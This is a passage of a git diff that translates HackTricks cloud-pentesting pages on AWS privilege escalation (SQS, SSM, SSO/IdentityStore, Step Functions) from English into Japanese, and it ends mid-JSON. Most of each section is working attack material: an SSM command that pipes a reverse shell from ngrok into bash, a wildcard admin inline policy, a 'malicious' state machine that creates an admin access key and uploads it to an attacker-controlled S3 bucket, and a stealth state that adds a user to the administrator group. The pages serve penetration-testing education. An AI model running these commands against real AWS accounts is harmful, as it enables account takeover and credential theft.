+攻撃者はSQSキュー内のメッセージを受信、削除、または可視性を変更することができ、メッセージの損失、データの破損、またはそれらのメッセージに依存するアプリケーションのサービス中断を引き起こす可能性があります。 ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` - -**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages. +**潜在的な影響**: 機密情報の盗難、メッセージの損失、データの破損、影響を受けたメッセージに依存するアプリケーションのサービス中断。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index c4067e2ca..9529fbb0d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -4,7 +4,7 @@ ## SSM -For more info about SSM check: +SSMに関する詳細情報は、以下を確認してください： {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,8 +12,7 @@ For more info about SSM check: ### `ssm:SendCommand` -An attacker with the permission **`ssm:SendCommand`** can **execute commands in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it. - +**`ssm:SendCommand`** の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで**コマンドを実行**し、**その中で実行されているIAMロールを侵害**することができます。 ```bash # Check for configured instances aws ssm describe-instance-information @@ -21,26 +20,22 @@ aws ssm describe-sessions --state Active # Send rev shell command aws ssm send-command --instance-ids "$INSTANCE_ID" \ - --document-name "AWS-RunShellScript" --output text \ - --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` - -In case you are using this technique to escalate privileges inside an already compromised EC2 instance, you could just capture the rev shell locally with: - +もしこの技術を使用して、すでに侵害されたEC2インスタンス内で権限を昇格させる場合は、次のコマンドでローカルにrevシェルをキャプチャできます: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance aws ssm send-command --instance-ids "$INSTANCE_ID" \ - --document-name "AWS-RunShellScript" --output text \ - --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. +**潜在的な影響:** SSMエージェントが実行されているインスタンスに接続されたEC2 IAMロールへの直接的な権限昇格。 ### `ssm:StartSession` -An attacker with the permission **`ssm:StartSession`** can **start a SSH like session in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it. - +**`ssm:StartSession`** の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで**SSHのようなセッションを開始**し、その中で実行されている**IAMロールを侵害**することができます。 ```bash # Check for configured instances aws ssm describe-instance-information @@ -49,68 +44,58 @@ aws ssm describe-sessions --state Active # Send rev shell command aws ssm start-session --target "$INSTANCE_ID" ``` - > [!CAUTION] -> In order to start a session you need the **SessionManagerPlugin** installed: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) +> セッションを開始するには、**SessionManagerPlugin**がインストールされている必要があります: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. +**潜在的な影響:** SSMエージェントが実行されているインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。 -#### Privesc to ECS - -When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\ -According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) this is done by creating a secure channel between the device you use to initiate the “_exec_“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\ -Therefore, users with `ssm:StartSession` will be able to **get a shell inside ECS tasks** with that option enabled just running: +#### ECSへの権限昇格 +**ECSタスク**が**`ExecuteCommand`が有効**な状態で実行されると、十分な権限を持つユーザーは`ecs execute-command`を使用して**コンテナ内でコマンドを実行**できます。\ +[**ドキュメント**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/)によると、これは“_exec_”コマンドを開始するために使用するデバイスと、SSMセッションマネージャーを使用したターゲットコンテナとの間に安全なチャネルを作成することによって行われます。（これが機能するためにはSSMセッションマネージャープラグインが必要です）\ +したがって、`ssm:StartSession`を持つユーザーは、そのオプションが有効な状態でECSタスク内に**シェルを取得**することができます。 ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` - ![](<../../../images/image (185).png>) -**Potential Impact:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled. +**潜在的な影響:** `ExecuteCommand`が有効な実行中のタスクに添付された`ECS`IAMロールへの直接的な権限昇格。 ### `ssm:ResumeSession` -An attacker with the permission **`ssm:ResumeSession`** can re-**start a SSH like session in instances** running the Amazon SSM Agent with a **disconnected** SSM session state and **compromise the IAM Role** running inside of it. - +**`ssm:ResumeSession`**の権限を持つ攻撃者は、**切断された**SSMセッション状態のAmazon SSMエージェントが実行されているインスタンスでSSHのようなセッションを再**開始**し、その中で実行されているIAMロールを**侵害**することができます。 ```bash # Check for configured instances aws ssm describe-sessions # Get resume data (you will probably need to do something else with this info to connect) aws ssm resume-session \ - --session-id Mary-Major-07a16060613c408b5 +--session-id Mary-Major-07a16060613c408b5 ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running and disconected sessions. +**潜在的な影響:** SSMエージェントが実行されているインスタンスに接続されたEC2 IAMロールへの直接的な権限昇格と切断されたセッション。 ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -An attacker with the mentioned permissions is going to be able to list the **SSM parameters** and **read them in clear-text**. In these parameters you can frequently **find sensitive information** such as SSH keys or API keys. - +言及された権限を持つ攻撃者は、**SSMパラメータ**をリストし、**平文で読む**ことができるようになります。これらのパラメータには、SSHキーやAPIキーなどの**機密情報**が頻繁に**見つかる**ことがあります。 ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" aws ssm get-parameters --names id_rsa --with-decryption aws ssm get-parameter --name id_rsa --with-decryption ``` - -**Potential Impact:** Find sensitive information inside the parameters. +**潜在的な影響:** パラメータ内の機密情報を見つける。 ### `ssm:ListCommands` -An attacker with this permission can list all the **commands** sent and hopefully find **sensitive information** on them. - +この権限を持つ攻撃者は、送信されたすべての**コマンド**をリストし、そこに**機密情報**が含まれていることを期待できます。 ``` aws ssm list-commands ``` - -**Potential Impact:** Find sensitive information inside the command lines. +**潜在的影響:** コマンドライン内の機密情報を見つける。 ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -An attacker with these permissions can list all the **commands** sent and **read the output** generated hopefully finding **sensitive information** on it. - +これらの権限を持つ攻撃者は、送信されたすべての**コマンド**をリストし、生成された**出力を読み取る**ことができ、そこに**機密情報**が見つかることを期待します。 ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands @@ -118,19 +103,14 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` - -**Potential Impact:** Find sensitive information inside the output of the command lines. +**潜在的影響:** コマンドラインの出力内に機密情報を見つける。 ### Codebuild -You can also use SSM to get inside a codebuild project being built: +SSMを使用して、ビルド中のcodebuildプロジェクトにアクセスすることもできます： {{#ref}} aws-codebuild-privesc.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index 0fb4e10a1..101f9831c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -4,58 +4,53 @@ ## AWS Identity Center / AWS SSO -For more information about AWS Identity Center / AWS SSO check: +AWS Identity Center / AWS SSOに関する詳細情報は、以下を確認してください： {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} > [!WARNING] -> Note that by **default**, only **users** with permissions **form** the **Management Account** are going to be able to access and **control the IAM Identity Center**.\ -> Users from other accounts can only allow it if the account is a **Delegated Adminstrator.**\ -> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) +> **デフォルト**では、**管理アカウント**の権限を持つ**ユーザー**のみがIAMアイデンティティセンターにアクセスし、**制御**できることに注意してください。\ +> 他のアカウントのユーザーは、そのアカウントが**委任管理者**である場合にのみ許可されます。\ +> [詳細については、ドキュメントを確認してください。](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) -### ~~Reset Password~~ +### ~~パスワードのリセット~~ -An easy way to escalate privileges in cases like this one would be to have a permission that allows to reset users passwords. Unfortunately it's only possible to send an email to the user to reset his password, so you would need access to the users email. +このような場合に権限を昇格させる簡単な方法は、ユーザーのパスワードをリセットする権限を持つことです。残念ながら、ユーザーにパスワードをリセットするためのメールを送信することしかできないため、ユーザーのメールにアクセスする必要があります。 ### `identitystore:CreateGroupMembership` -With this permission it's possible to set a user inside a group so he will inherit all the permissions the group has. - +この権限を使用すると、ユーザーをグループに設定でき、そのグループが持つすべての権限を継承します。 ```bash aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= ``` - ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control - +この権限を持つ攻撃者は、自分の管理下にあるユーザーに付与されたPermission Setに追加の権限を付与することができます。 ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml # Content of /tmp/policy.yaml { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Statement1", - "Effect": "Allow", - "Action": ["*"], - "Resource": ["*"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Statement1", +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] } # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control - +この権限を持つ攻撃者は、自分の管理下にあるユーザーに付与されたPermission Setに追加の権限を付与することができます。 ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" @@ -63,14 +58,12 @@ aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control. +この権限を持つ攻撃者は、自分の管理下にあるユーザーに付与されたPermission Setに追加の権限を付与することができます。 > [!WARNING] -> To abuse these permissions in this case you need to know the **name of a customer managed policy that is inside ALL the accounts** that are going to be affected. - +> この場合、これらの権限を悪用するには、**影響を受けるすべてのアカウント内にあるカスタマーマネージドポリシーの名前を知っている必要があります**。 ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -78,59 +71,42 @@ aws sso-admin attach-customer-managed-policy-reference-to-permission-set --insta # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:CreateAccountAssignment` -An attacker with this permission could give a Permission Set to a user under his control to an account. - +この権限を持つ攻撃者は、自分の管理下にあるユーザーに対してアカウントにPermission Setを付与することができます。 ```bash aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id ``` - ### `sso:GetRoleCredentials` -Returns the STS short-term credentials for a given role name that is assigned to the user. - +ユーザーに割り当てられた特定のロール名のSTS短期資格情報を返します。 ``` aws sso get-role-credentials --role-name --account-id --access-token ``` - -However, you need an access token that I'm not sure how to get (TODO). +しかし、取得方法がわからないアクセストークンが必要です（TODO）。 ### `sso:DetachManagedPolicyFromPermissionSet` -An attacker with this permission can remove the association between an AWS managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. - +この権限を持つ攻撃者は、指定された権限セットからAWS管理ポリシーの関連付けを削除できます。**管理ポリシーを切り離す（拒否ポリシー）**ことにより、より多くの権限を付与することが可能です。 ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` - ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -An attacker with this permission can remove the association between a Customer managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. - +この権限を持つ攻撃者は、指定された権限セットからカスタマー管理ポリシーとの関連を削除できます。**管理ポリシーを切り離す（拒否ポリシー）**ことで、より多くの権限を付与することが可能です。 ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` - ### `sso:DeleteInlinePolicyFromPermissionSet` -An attacker with this permission can action remove the permissions from an inline policy from the permission set. It is possible to grant **more privileges via detaching an inline policy (deny policy)**. - +この権限を持つ攻撃者は、権限セットからインラインポリシーの権限を削除するアクションを実行できます。インラインポリシー（拒否ポリシー）を切り離すことで、**より多くの権限を付与する**ことが可能です。 ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` - ### `sso:DeletePermissionBoundaryFromPermissionSet` -An attacker with this permission can remove the Permission Boundary from the permission set. It is possible to grant **more privileges by removing the restrictions on the Permission Set** given from the Permission Boundary. - +この権限を持つ攻撃者は、権限セットからPermission Boundaryを削除できます。Permission Boundaryから与えられた権限セットの制限を削除することで、**より多くの権限を付与することが可能です**。 ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index bfc3adb77..8d764a2a0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -4,73 +4,66 @@ ## Step Functions -For more information about this AWS service, check: +このAWSサービスに関する詳細情報は、以下を確認してください： {{#ref}} ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Task Resources +### タスクリソース -These privilege escalation techniques are going to require to use some AWS step function resources in order to perform the desired privilege escalation actions. +これらの特権昇格技術は、望ましい特権昇格アクションを実行するためにいくつかのAWSステップファンクションリソースを使用する必要があります。 -In order to check all the possible actions, you could go to your own AWS account select the action you would like to use and see the parameters it's using, like in: +すべての可能なアクションを確認するには、自分のAWSアカウントに移動し、使用したいアクションを選択して、そのパラメータを確認できます。例えば：
-Or you could also go to the API AWS documentation and check each action docs: +または、API AWSドキュメントに移動して各アクションのドキュメントを確認することもできます： - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, enabling unauthorized access to other AWS services with the roles' permissions. potentially. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation. - +**`states:TestState`** および **`iam:PassRole`** 権限を持つ攻撃者は、既存のステートマシンを作成または更新することなく、任意のステートをテストし、任意のIAMロールをそれに渡すことができ、ロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。これらの権限が組み合わさることで、ワークフローの操作からデータの変更、データ漏洩、リソース操作、特権昇格に至るまで、広範な不正行為が引き起こされる可能性があります。 ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` - -The following examples show how to test an state that creates an access key for the **`admin`** user leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state to perform the **`iam:CreateAccessKey`** action: +以下の例は、これらの権限とAWS環境の許可されたロールを利用して、**`admin`**ユーザーのアクセスキーを作成するステートをテストする方法を示しています。この許可されたロールには、ステートが**`iam:CreateAccessKey`**アクションを実行できるようにする高権限ポリシー（例えば、**`arn:aws:iam::aws:policy/AdministratorAccess`**）が関連付けられている必要があります。 - **stateDefinition.json**: - ```json { - "Type": "Task", - "Parameters": { - "UserName": "admin" - }, - "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", - "End": true +"Type": "Task", +"Parameters": { +"UserName": "admin" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"End": true } ``` - -- **Command** executed to perform the privesc: - +- **コマンド** 実行して特権昇格を行う: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole { - "output": "{ - \"AccessKey\":{ - \"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", - \"CreateDate\":\"2024-07-09T16:59:11Z\", - \"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", - \"Status\":\"Active\", - \"UserName\":\"admin\" - } - }", - "status": "SUCCEEDED" +"output": "{ +\"AccessKey\":{ +\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", +\"CreateDate\":\"2024-07-09T16:59:11Z\", +\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", +\"Status\":\"Active\", +\"UserName\":\"admin\" +} +}", +"status": "SUCCEEDED" } ``` - -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**潜在的な影響**: ワークフローの不正な実行と操作、および機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。 ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -An attacker with the **`states:CreateStateMachine`**& **`iam:PassRole`** would be able to create an state machine and provide to it any IAM role, enabling unauthorized access to other AWS services with the roles' permissions. In contrast with the previous privesc technique (**`states:TestState`** & **`iam:PassRole`**), this one does not execute by itself, you will also need to have the **`states:StartExecution`** or **`states:StartSyncExecution`** permissions (**`states:StartSyncExecution`** is **not available for standard workflows**, **just to express state machines**) in order to start and execution over the state machine. - +**`states:CreateStateMachine`** と **`iam:PassRole`** を持つ攻撃者は、ステートマシンを作成し、任意のIAMロールを提供することができ、そのロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。前の特権昇格技術 (**`states:TestState`** & **`iam:PassRole`**) と対照的に、これは自動的には実行されず、ステートマシン上での実行を開始するために **`states:StartExecution`** または **`states:StartSyncExecution`** の権限が必要です (**`states:StartSyncExecution`** は **標準ワークフローには利用できず、** 表現ステートマシンのみに適用されます)。 ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -82,176 +75,157 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` - -The following examples show how to create an state machine that creates an access key for the **`admin`** user and exfiltrates this access key to an attacker-controlled S3 bucket, leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state machine to perform the **`iam:CreateAccessKey`** & **`s3:putObject`** actions. +以下の例は、**`admin`** ユーザーのアクセスキーを作成し、このアクセスキーを攻撃者が制御する S3 バケットに流出させるステートマシンを作成する方法を示しています。これらの権限と AWS 環境の許可されたロールを利用しています。この許可されたロールには、ステートマシンが **`iam:CreateAccessKey`** および **`s3:putObject`** アクションを実行できるようにする高権限ポリシー（例えば **`arn:aws:iam::aws:policy/AdministratorAccess`**）が関連付けられている必要があります。 - **stateMachineDefinition.json**: - ```json { - "Comment": "Malicious state machine to create IAM access key and upload to S3", - "StartAt": "CreateAccessKey", - "States": { - "CreateAccessKey": { - "Type": "Task", - "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", - "Parameters": { - "UserName": "admin" - }, - "ResultPath": "$.AccessKeyResult", - "Next": "PrepareS3PutObject" - }, - "PrepareS3PutObject": { - "Type": "Pass", - "Parameters": { - "Body.$": "$.AccessKeyResult.AccessKey", - "Bucket": "attacker-controlled-S3-bucket", - "Key": "AccessKey.json" - }, - "ResultPath": "$.S3PutObjectParams", - "Next": "PutObject" - }, - "PutObject": { - "Type": "Task", - "Resource": "arn:aws:states:::aws-sdk:s3:putObject", - "Parameters": { - "Body.$": "$.S3PutObjectParams.Body", - "Bucket.$": "$.S3PutObjectParams.Bucket", - "Key.$": "$.S3PutObjectParams.Key" - }, - "End": true - } - } +"Comment": "Malicious state machine to create IAM access key and upload to S3", +"StartAt": "CreateAccessKey", +"States": { +"CreateAccessKey": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"Parameters": { +"UserName": "admin" +}, +"ResultPath": "$.AccessKeyResult", +"Next": "PrepareS3PutObject" +}, +"PrepareS3PutObject": { +"Type": "Pass", +"Parameters": { +"Body.$": "$.AccessKeyResult.AccessKey", +"Bucket": "attacker-controlled-S3-bucket", +"Key": "AccessKey.json" +}, +"ResultPath": "$.S3PutObjectParams", +"Next": "PutObject" +}, +"PutObject": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:s3:putObject", +"Parameters": { +"Body.$": "$.S3PutObjectParams.Body", +"Bucket.$": "$.S3PutObjectParams.Bucket", +"Key.$": "$.S3PutObjectParams.Key" +}, +"End": true +} +} } ``` - -- **Command** executed to **create the state machine**: - +- **コマンド** 実行して **ステートマシンを作成**: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { - "stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", - "creationDate": "2024-07-09T20:29:35.381000+02:00" +"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", +"creationDate": "2024-07-09T20:29:35.381000+02:00" } ``` - -- **Command** executed to **start an execution** of the previously created state machine: - +- **コマンド** 実行して **以前に作成したステートマシンの実行を開始**: ```json aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine { - "executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "startDate": "2024-07-09T20:33:35.466000+02:00" +"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"startDate": "2024-07-09T20:33:35.466000+02:00" } ``` - > [!WARNING] -> The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account. +> 攻撃者が制御するS3バケットは、被害者アカウントからのs3:PutObjectアクションを受け入れる権限を持っている必要があります。 -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**潜在的な影響**: ワークフローの不正実行と操作、機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。 -### `states:UpdateStateMachine` & (not always required) `iam:PassRole` +### `states:UpdateStateMachine` & (必ずしも必要ではない) `iam:PassRole` -An attacker with the **`states:UpdateStateMachine`** permission would be able to modify the definition of an state machine, being able to add extra stealthy states that could end in a privilege escalation. This way, when a legitimate user starts an execution of the state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. +**`states:UpdateStateMachine`** 権限を持つ攻撃者は、ステートマシンの定義を変更でき、特権昇格につながる追加の隠れたステートを追加することができます。このようにして、正当なユーザーがステートマシンの実行を開始すると、この新しい悪意のある隠れたステートが実行され、特権昇格が成功します。 -Depending on how permissive is the IAM Role associated to the state machine is, an attacker would face 2 situations: - -1. **Permissive IAM Role**: If the IAM Role associated to the state machine is already permissive (it has for example the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached), then the **`iam:PassRole`** permission would not be required in order to escalate privileges since it would not be necessary to also update the IAM Role, with the state machine definition is enough. -2. **Not permissive IAM Role**: In contrast with the previous case, here an attacker would also require the **`iam:PassRole`** permission since it would be necessary to associate a permissive IAM Role to the state machine in addition to modify the state machine definition. +ステートマシンに関連付けられたIAMロールがどれだけ許可的であるかによって、攻撃者は2つの状況に直面します。 +1. **許可的なIAMロール**: ステートマシンに関連付けられたIAMロールがすでに許可的である場合（例えば、**`arn:aws:iam::aws:policy/AdministratorAccess`** ポリシーが添付されている場合）、特権を昇格させるために**`iam:PassRole`** 権限は必要ありません。ステートマシンの定義を更新する必要がないためです。 +2. **非許可的なIAMロール**: 前のケースとは対照的に、ここでは攻撃者は**`iam:PassRole`** 権限も必要です。ステートマシンの定義を変更するだけでなく、ステートマシンに許可的なIAMロールを関連付ける必要があるためです。 ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` - -The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. +以下の例は、HelloWorld Lambda関数を呼び出す正当なステートマシンを更新し、ユーザー **`unprivilegedUser`** を **`administrator`** IAMグループに追加する追加のステートを加える方法を示しています。このようにして、正当なユーザーが更新されたステートマシンの実行を開始すると、この新しい悪意のあるステルスステートが実行され、特権昇格が成功します。 > [!WARNING] -> If the state machine does not have a permissive IAM Role associated, it would also be required the **`iam:PassRole`** permission to update the IAM Role in order to associate a permissive IAM Role (for example one with the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached). +> ステートマシンに許可されたIAMロールが関連付けられていない場合、許可されたIAMロールを関連付けるためにIAMロールを更新するには、**`iam:PassRole`** 権限も必要です（例えば、**`arn:aws:iam::aws:policy/AdministratorAccess`** ポリシーが添付されたものなど）。 {{#tabs }} {{#tab name="Legit State Machine" }} - ```json { - "Comment": "Hello world from Lambda state machine", - "StartAt": "Start PassState", - "States": { - "Start PassState": { - "Type": "Pass", - "Next": "LambdaInvoke" - }, - "LambdaInvoke": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" - }, - "Next": "End PassState" - }, - "End PassState": { - "Type": "Pass", - "End": true - } - } +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} } ``` - {{#endtab }} -{{#tab name="Malicious Updated State Machine" }} - +{{#tab name="悪意のある更新されたステートマシン" }} ```json { - "Comment": "Hello world from Lambda state machine", - "StartAt": "Start PassState", - "States": { - "Start PassState": { - "Type": "Pass", - "Next": "LambdaInvoke" - }, - "LambdaInvoke": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" - }, - "Next": "AddUserToGroup" - }, - "AddUserToGroup": { - "Type": "Task", - "Parameters": { - "GroupName": "administrator", - "UserName": "unprivilegedUser" - }, - "Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", - "Next": "End PassState" - }, - "End PassState": { - "Type": "Pass", - "End": true - } - } +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "AddUserToGroup" +}, +"AddUserToGroup": { +"Type": "Task", +"Parameters": { +"GroupName": "administrator", +"UserName": "unprivilegedUser" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", +"Next": "End 